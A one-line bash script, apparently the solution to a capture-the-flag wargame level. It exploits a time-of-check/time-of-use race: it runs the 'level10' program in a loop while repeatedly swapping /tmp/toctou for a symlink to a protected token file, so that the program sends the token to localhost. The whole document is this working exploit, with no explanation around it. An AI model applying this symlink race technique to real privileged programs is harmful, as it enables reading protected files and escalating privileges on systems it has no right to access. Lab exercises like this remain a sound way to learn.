#!/bin/env bash INPUT="/home/user/level10/token" OUTPUT="/tmp/toctou" PROGRAM="/home/user/level10/level10" touch $OUTPUT while true; do $PROGRAM $OUTPUT 127.0.0.1; done & while ! test -r $OUTPUT; do rm -f $OUTPUT touch $OUTPUT rm -rf $OUTPUT ln -s $INPUT $OUTPUT done